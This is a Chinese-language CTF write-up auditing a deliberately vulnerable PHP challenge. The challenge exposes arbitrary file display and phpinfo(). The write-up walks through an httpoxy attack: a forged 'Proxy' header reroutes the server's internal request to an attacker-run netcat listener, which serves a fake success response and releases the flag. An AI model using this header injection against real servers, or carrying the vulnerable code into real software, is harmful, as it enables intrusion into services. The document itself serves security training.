代码审计
<?php
error_reporting(0);
require __DIR__ . '/vendor/autoload.php';
use GuzzleHttp\Client;
highlight_file(__FILE__);
if(isset($_GET['flag'])) {
$client = new Client();
$response = $client->get('http://127.0.0.1:5000/api/eligible');
$content = $response->getBody();
$data = json_decode($content, TRUE);
if($data['success'] === true) {
echo system('/readflag');
}
}
if(isset($_GET['file'])) {
highlight_file($_GET['file']);
}
if(isset($_GET['phpinfo'])) {
phpinfo();
}
打开即源码,审计后发现如果传入变量flag,且其读取到了127.0.0.1:5000/api/eligible下的文件,success返回true即可返回flag。
考点就是httppoxy这个东西,这个规则会将header中的proxy参数设置冲环境变量HTTP_PROXY
开一台内网服务器,建立一个response返回文本
HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Fri, 06 Mar 2020 18:27:31 GMT Content-Type: text/html; charset=UTF-8 Connection: Keep-alive Content-Length: 16 {"success":true}
让其返回ture即可获得flag。监听端口并包含此文件
nc -lvp 8888 < b.txt
burp请求中包含proxy:ip:port即可
Proxy
在p3师傅博客中还发现了php返回json,本地复测没成功,可能是靶机没有php服务导致不能解析php文件。待定夺